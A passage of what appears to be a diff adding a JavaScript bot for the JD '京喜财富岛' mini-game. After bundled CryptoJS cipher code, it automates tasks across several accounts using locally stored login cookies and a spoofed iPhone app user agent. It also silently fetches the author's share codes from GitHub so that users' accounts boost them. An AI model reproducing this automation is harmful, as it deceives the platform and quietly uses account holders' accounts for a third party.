1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}; +let nowTimes; +const randomCount = $.isNode() ? 20 : 3; +$.appId = 10032; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + } + $.strMyShareIds = [...(res && res.shareId || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) + await $.wait(2000) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + // 寻宝 + console.log(`寻宝`) + let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0) + if (XBDetail.length !== 0) { + console.log(`开始寻宝`) + $.break = false + for (let key of Object.keys(XBDetail)) { + let vo = XBDetail[key] + await $.wait(2000) + await TreasureHunt(vo.strIndex) + if ($.break) break + } + } else { + console.log(`暂无宝物`) + } + + //每日签到 + await $.wait(2000) + await getTakeAggrPage('sign') + + //小程序每日签到 + await $.wait(2000) + await getTakeAggrPage('wxsign') + + //使用道具 + if (new Date().getHours() < 22){ + await $.wait(2000) + await GetPropCardCenterInfo() + } + + //助力奖励 + await $.wait(2000) + await getTakeAggrPage('helpdraw') + + console.log('') + //卖贝壳 + // await $.wait(2000) + // await querystorageroom('1') + + //升级建筑 + await $.wait(2000) + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}&dwType=1` + await getBuildInfo(body, vo) + await $.wait(2000) + } + + //接待贵宾 + console.log(`接待贵宾`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Special) { + console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) + await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) + await $.wait(vo.Special.dwWaitTime * 1000) + await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + await $.wait(2000) + } else { + console.log(`当前暂无贵宾\n`) + } + } + } else { + console.log(`当前暂无贵宾\n`) + } + + //收藏家 + console.log(`收藏家`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Collector) { + console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) + await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) + await $.wait(2000) + await querystorageroom('2') + await $.wait(2000) + await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } else { + console.log(`当前暂无收藏家\n`) + } + } + } else { + console.log(`当前暂无收藏家\n`) + } + + //美人鱼 + console.log(`美人鱼`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Mermaid) { + if (vo.Mermaid.dwIsToday === 1) { + console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) + await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) + } else if (vo.Mermaid.dwIsToday === 0) { + await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } + } else { + console.log(`当前暂无美人鱼\n`) + } + } + } else { + console.log(`当前暂无美人鱼\n`) + } + + //倒垃圾 + await $.wait(2000) + await queryRubbishInfo() + + console.log(`\n做任务`) + //牛牛任务 + await $.wait(2000) + await getActTask() + + //日常任务 + await $.wait(2000); + await getTaskList(0); + await $.wait(2000); + await browserTask(0); + + //成就任务 + await $.wait(2000); + await getTaskList(1); + await $.wait(2000); + await browserTask(1); + + //卡片任务 + await $.wait(2000); + await getPropTask(); + + await $.wait(2000); + const endInfo = await getUserInfo(false); + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【🥇金币】${endInfo.ddwCoinBalance}`, + `【💵财富值】${endInfo.ddwRichBalance}\n`, + ); + + } catch (e) { + $.logErr(e) + } +} + +// 使用道具 +function GetPropCardCenterInfo() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPropCardCenterInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} GetPropCardCenterInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`使用道具卡`) + if (data.cardInfo.dwWorkingType === 0) { + $.canuse = false; + for (let key of Object.keys(data.cardInfo.coincard)) { + let vo = data.cardInfo.coincard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } + } + for (let key of Object.keys(data.cardInfo.richcard)) { + let vo = data.cardInfo.richcard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } + } + if (!$.canuse) console.log(`无可用道具卡`) + } else { + console.log(`有在使用中的道具卡,跳过使用`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function UsePropCard(strCardTypeIndex) { + return new Promise((resolve) => { + let dwCardType = strCardTypeIndex.split("_")[0]; + $.get(taskUrl(`user/UsePropCard`, `dwCardType=${dwCardType}&strCardTypeIndex=${encodeURIComponent(strCardTypeIndex)}`), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} UsePropCard API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + let cardName = strCardTypeIndex.split("_")[1]; + console.log(`使用道具卡【${cardName}】成功`) + } else { + console.log(`使用道具卡失败:${JSON.stringify(data)}`) + } + } + } 